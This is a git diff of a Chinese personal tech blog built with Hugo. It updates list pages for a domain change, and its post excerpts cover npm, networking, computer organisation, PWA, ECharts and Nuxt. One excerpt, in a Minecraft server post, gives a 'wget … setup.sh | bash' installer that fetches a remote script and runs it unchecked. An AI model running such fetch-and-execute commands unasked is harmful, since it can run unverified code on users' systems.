-wget -qO- https://gitee.com/mcsmanager/script/raw/master/setup.sh | bash</p></div><footer class=entry-footer><span title='2021-06-16 15:46:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Linux环境下简单搭建Minecraft服务器（java版）" href=https://xiaochenabc123.github.io/posts/33/></a></article><article class=post-entry><header class=entry-header><h2>node.js包管理工具npm的简单使用</h2></header><div class=entry-content><p>npm是Node.js的默认包管理工具
+wget -qO- https://gitee.com/mcsmanager/script/raw/master/setup.sh | bash</p></div><footer class=entry-footer><span title='2021-06-16 15:46:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Linux环境下简单搭建Minecraft服务器（java版）" href=https://chenjunlinabc.github.io/posts/33/></a></article><article class=post-entry><header class=entry-header><h2>node.js包管理工具npm的简单使用</h2></header><div class=entry-content><p>npm是Node.js的默认包管理工具
 安装npm：安装node.js(一般来说安装nodejs都会安装npm的)
 npm -v 查看npm版本号 node -v 查看node版本号 npm install nmp@latest -g 更新最新nmp，-g全局，没有加-g就是本地安装，或者在@后面加版本号来更新到指定版本的npm npm init -y 初始化 npm i 要安装的依赖 先检查有没有这个东西，有的话就下载下来 npm uninstall 要删除的依赖的名称 npm i 要安装的依赖@版本号 安装指定版本的依赖 npm update 依赖名称 安装最新的依赖或者更新npm npm init -y 使用默认的参数，去掉-y就是手动配置 npm run 对象名 执行脚本,引用package.json中的scripts对象，在对象中添加脚本 npm adduser 注册npm账号 npm publish 发布npm包 npm install 一键安装package.json文件里的所有依赖 npm install –dependencies 只安装package.json里的dependencies的文件 npm install –devDependencies 只安装package.json里的devDependencies文件 会自动将package.json中的模块安装到node-modules文件夹
-升级插件 npm-check-updates使用 npm install -g npm-check-updates 安装npm-check-updates插件 ncu 查看package.json中依赖的最新版本 ncu -u 更新依赖到最新版本 ncu -a 更新全部依赖到最新版本 npm update...</p></div><footer class=entry-footer><span title='2021-06-16 15:05:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to node.js包管理工具npm的简单使用" href=https://xiaochenabc123.github.io/posts/31/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://xiaochenabc123.github.io/page/18/>«&nbsp;Prev&nbsp;</a>
-<a class=next href=https://xiaochenabc123.github.io/page/20/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+升级插件 npm-check-updates使用 npm install -g npm-check-updates 安装npm-check-updates插件 ncu 查看package.json中依赖的最新版本 ncu -u 更新依赖到最新版本 ncu -a 更新全部依赖到最新版本 npm update...</p></div><footer class=entry-footer><span title='2021-06-16 15:05:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to node.js包管理工具npm的简单使用" href=https://chenjunlinabc.github.io/posts/31/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://chenjunlinabc.github.io/page/18/>«&nbsp;Prev&nbsp;</a>
+<a class=next href=https://chenjunlinabc.github.io/page/20/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/page/2/index.html b/page/2/index.html
index 70d96c3e..d0d93a9b 100644
--- a/page/2/index.html
+++ b/page/2/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta name=generator content="Hugo 0.111.3"><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>小陈的个人博客</title><meta name=keywords content="Blog,Portfolio,PaperMod"><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/index.xml><link rel=alternate type=application/json href=https://xiaochenabc123.github.io/index.json><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="小陈的个人博客"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="小陈的个人博客"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"Organization","name":"小陈的个人博客","url":"https://xiaochenabc123.github.io/","description":"小陈的个人博客","thumbnailUrl":"https://xiaochenabc123.github.io/favicon.ico","sameAs":["https://github.com/xiaochenabc123","mailto:xiaochenabc123@qq.com"]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span class=active>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-entry><header class=entry-header><h2>计算机网络学习笔记</h2></header><div class=entry-content><p>计算机网络是通用，可编程的硬件组成的，并且这些设备可互连，并且可以传输不同类型的数据
+<!doctype html><html lang=en dir=auto><head><meta name=generator content="Hugo 0.119.0"><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>小陈的个人博客</title><meta name=keywords content="Blog,Portfolio,PaperMod"><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/index.xml><link rel=alternate type=application/json href=https://chenjunlinabc.github.io/index.json><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="小陈的个人博客"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="小陈的个人博客"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"Organization","name":"小陈的个人博客","url":"https://chenjunlinabc.github.io/","description":"小陈的个人博客","thumbnailUrl":"https://chenjunlinabc.github.io/favicon.ico","sameAs":["https://github.com/chenjunlinabc","mailto:chenjunlinabc123@foxmail.com"]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span class=active>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-entry><header class=entry-header><h2>计算机网络学习笔记</h2></header><div class=entry-content><p>计算机网络是通用，可编程的硬件组成的，并且这些设备可互连，并且可以传输不同类型的数据
 计算机网络不是只有软件概念，还有硬件设备，例如：网卡，网线，路由器等等
 网络作用范围：广域网（WAN），城域网（MAN），局域网（LAN）
 计算机网络发展历史
@@ -60,7 +60,7 @@
 虚拟互连网络（物理网络复杂，使用IP协议时，将无需关心物理网络的差异）
 网络层利用IP协议来将使用IP协议的计算机连接起来，就好像这些计算机只需要连接一个虚拟互连网络一样，无需关心底层经过了哪些网关，路由器，ISP等等，将专注于数据的转发工作
 IP协议
-IP地址（v4只有32位，v6有128位），ipv4使用点分十进制表示，使用4组从0到255的数字表示ip地址，ipv6使用冒分十六进制，用8组4位的16进制表示ipv6地址...</p></div><footer class=entry-footer><span title='2022-11-01 12:00:00 +0000 UTC'>2022-11-01</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 计算机网络学习笔记" href=https://xiaochenabc123.github.io/posts/156/></a></article><article class=post-entry><header class=entry-header><h2>计算机组成原理学习笔记</h2></header><div class=entry-content><p>计算机发展历史
+IP地址（v4只有32位，v6有128位），ipv4使用点分十进制表示，使用4组从0到255的数字表示ip地址，ipv6使用冒分十六进制，用8组4位的16进制表示ipv6地址...</p></div><footer class=entry-footer><span title='2022-11-01 12:00:00 +0000 UTC'>2022-11-01</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 计算机网络学习笔记" href=https://chenjunlinabc.github.io/posts/156/></a></article><article class=post-entry><header class=entry-header><h2>计算机组成原理学习笔记</h2></header><div class=entry-content><p>计算机发展历史
 1946-1957，电子管计算机，1957-1964，晶体管计算机，1964-1980，集成电路计算机，1980-至今，超大规模集成电路计算机
 电子管计算机：二战时期，英国为了破译德国的无线电密文，而发明了电子管计算机，最出名的电子管计算机莫过于埃尼阿克（ENIAC），埃尼阿克是美国军方为了计算弹道而诞生的，埃尼阿克长30多米，高2.4米，宽6米，拥有18000多个电子管，70000个电阻，10000个电容，1500个续电，6000多个开关，运行耗电150千瓦，重30吨，占地1500平方英寸（140平方米），造价48万美元，运算速度每秒5000次
 电子管计算机特点：集成度低，占空间大，功耗高，操作复杂（更换程序需要接线）
@@ -127,71 +127,15 @@
 计算机的字符和编码集
 字符编码集的历史
 ASCII码：ASCII码包含95个可打印字符和33个不可打印的字符（例如控制字符），用7个bits表示一个ASCII码（95+33就是128，也就是2的7次方）
-因为ASCII码无法满足需求（例如π），而推出了Extended ASCII码，由原来的7个bits变成8个bits，也就是支持256个字符...</p></div><footer class=entry-footer><span title='2022-11-01 02:00:00 +0000 UTC'>2022-11-01</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 计算机组成原理学习笔记" href=https://xiaochenabc123.github.io/posts/155/></a></article><article class=post-entry><header class=entry-header><h2>简单使用PWA技术</h2></header><div class=entry-content><p>PWA，Progressive Web App（渐进式web应用），PWA技术可以将web应用具备接近原生应用的特性和用户体验，无需额外安装，支持离线缓存，消息推送等功能
+因为ASCII码无法满足需求（例如π），而推出了Extended ASCII码，由原来的7个bits变成8个bits，也就是支持256个字符...</p></div><footer class=entry-footer><span title='2022-11-01 02:00:00 +0000 UTC'>2022-11-01</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 计算机组成原理学习笔记" href=https://chenjunlinabc.github.io/posts/155/></a></article><article class=post-entry><header class=entry-header><h2>简单使用PWA技术</h2></header><div class=entry-content><p>PWA，Progressive Web App（渐进式web应用），PWA技术可以将web应用具备接近原生应用的特性和用户体验，无需额外安装，支持离线缓存，消息推送等功能
 PWA由Service Worker，Promise，fetch，cache Api，Notification Api等技术组成
 Service Worker：服务工作线程，独立于主线程，常驻内存，代理网络请求，依赖HTTPS通信
 注册Service Worker
-navigator.serviceWorker.register('./sw.js',{scope: '/'}).then(
-registration => {
-console.log(registration)
-},error => {
-console.error(error)
-}
-)
-window.onload = function() {
-document.body.append('PWA!')
-}
-sw.js
-const cachename = 'v1'
-self.addEventListener('install', function (event) {
-console.log('install',event)
-// 安装新的Service Worker脚本时触发，只有Service Worker脚本不同，会认为是不同的Service Worker版本
-event.waitUntil(new Promise(resolve =>{
-setTimeout(resolve, 1000) // 安装新的Service Worker脚本后等待1秒后激活该脚本
-}))
-// event.waitUntil(self.skipWaiting) // 强制停止老的Service Worker，激活启动新的Service Worker，只要有更新就激活新的
-event.waitUntil(caches.open(name).then(cache =>{
-cache.addAll([
-'/',
-'./1.img'
-])
-})) // 开启cache api缓存系统
-})
-self....</p></div><footer class=entry-footer><span title='2022-10-28 01:21:00 +0000 UTC'>2022-10-28</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用PWA技术" href=https://xiaochenabc123.github.io/posts/154/></a></article><article class=post-entry><header class=entry-header><h2>ECharts数据可视化图表库简单使用</h2></header><div class=entry-content><p>ECharts是基于JavaScript的数据可视化图表库
+navigator.serviceWorker.register('./sw.js',{scope: '/'}).then( registration => { console.log(registration) },error => { console.error(error) } ) window.onload = function() { document.body.append('PWA!') } sw.js
+const cachename = 'v1' self.addEventListener('install', function (event) { console.log('install',event) // 安装新的Service Worker脚本时触发，只有Service Worker脚本不同，会认为是不同的Service Worker版本 event.waitUntil(new Promise(resolve =>{ setTimeout(resolve, 1000) // 安装新的Service Worker脚本后等待1秒后激活该脚本 })) // event.waitUntil(self.skipWaiting) // 强制停止老的Service Worker，激活启动新的Service Worker，只要有更新就激活新的 event.waitUntil(caches.open(name).then(cache =>{ cache.addAll([ '/', './1.img' ]) })) // 开启cache api缓存系统 }) self....</p></div><footer class=entry-footer><span title='2022-10-28 01:21:00 +0000 UTC'>2022-10-28</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用PWA技术" href=https://chenjunlinabc.github.io/posts/154/></a></article><article class=post-entry><header class=entry-header><h2>ECharts数据可视化图表库简单使用</h2></header><div class=entry-content><p>ECharts是基于JavaScript的数据可视化图表库
 安装
-npm install echarts --save
-第一个实例
-import * as echarts from 'echarts'
-let app = echarts.init(document.getElementById('app'), null, {
-width: 800,
-height: 500
-})
-let data = {
-title: {
-text: '用户管理'
-},
-tooltip:{},
-legend: {
-data: ['用户']
-},
-xAxis: {
-data: [
-'root','admin','user1','user2','user3'
-]
-},
-yAxis: {},
-series: [
-{
-name: '用户权限',
-type: 'bar',
-data: [
-10,8,5,1,3
-]
-}
-]
-}
-app.setOption(data)
-注意：容器必须具备高度和宽度（这里的容器的id为app），要么html指定，要么在初始化时指定一个</p></div><footer class=entry-footer><span title='2022-06-18 00:12:00 +0000 UTC'>2022-06-18</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to ECharts数据可视化图表库简单使用" href=https://xiaochenabc123.github.io/posts/153/></a></article><article class=post-entry><header class=entry-header><h2>Nuxt.js学习笔记</h2></header><div class=entry-content><p>nuxt是一个基于vue的应用框架，用于创建服务端渲染应用，使用vite作为打包器，使用webpack作为构建工具
+npm install echarts --save 第一个实例
+import * as echarts from 'echarts' let app = echarts.init(document.getElementById('app'), null, { width: 800, height: 500 }) let data = { title: { text: '用户管理' }, tooltip:{}, legend: { data: ['用户'] }, xAxis: { data: [ 'root','admin','user1','user2','user3' ] }, yAxis: {}, series: [ { name: '用户权限', type: 'bar', data: [ 10,8,5,1,3 ] } ] } app.setOption(data) 注意：容器必须具备高度和宽度（这里的容器的id为app），要么html指定，要么在初始化时指定一个</p></div><footer class=entry-footer><span title='2022-06-18 00:12:00 +0000 UTC'>2022-06-18</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to ECharts数据可视化图表库简单使用" href=https://chenjunlinabc.github.io/posts/153/></a></article><article class=post-entry><header class=entry-header><h2>Nuxt.js学习笔记</h2></header><div class=entry-content><p>nuxt是一个基于vue的应用框架，用于创建服务端渲染应用，使用vite作为打包器，使用webpack作为构建工具
 创建项目
 yarn create nuxt-app test
 需要做一些选择，例如：选择TypeScript，选择Yarn，选择UI框架等等
@@ -202,8 +146,8 @@
 构建打包
 yarn build
 yarn start
-启动测试环境 yarn test</p></div><footer class=entry-footer><span title='2022-06-05 21:36:00 +0000 UTC'>2022-06-05</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Nuxt.js学习笔记" href=https://xiaochenabc123.github.io/posts/152/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://xiaochenabc123.github.io/>«&nbsp;Prev&nbsp;</a>
-<a class=next href=https://xiaochenabc123.github.io/page/3/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+启动测试环境 yarn test</p></div><footer class=entry-footer><span title='2022-06-05 21:36:00 +0000 UTC'>2022-06-05</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Nuxt.js学习笔记" href=https://chenjunlinabc.github.io/posts/152/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://chenjunlinabc.github.io/>«&nbsp;Prev&nbsp;</a>
+<a class=next href=https://chenjunlinabc.github.io/page/3/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/page/20/index.html b/page/20/index.html
index 4d240e5e..188cb15c 100644
--- a/page/20/index.html
+++ b/page/20/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta name=generator content="Hugo 0.111.3"><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>小陈的个人博客</title><meta name=keywords content="Blog,Portfolio,PaperMod"><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/index.xml><link rel=alternate type=application/json href=https://xiaochenabc123.github.io/index.json><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new 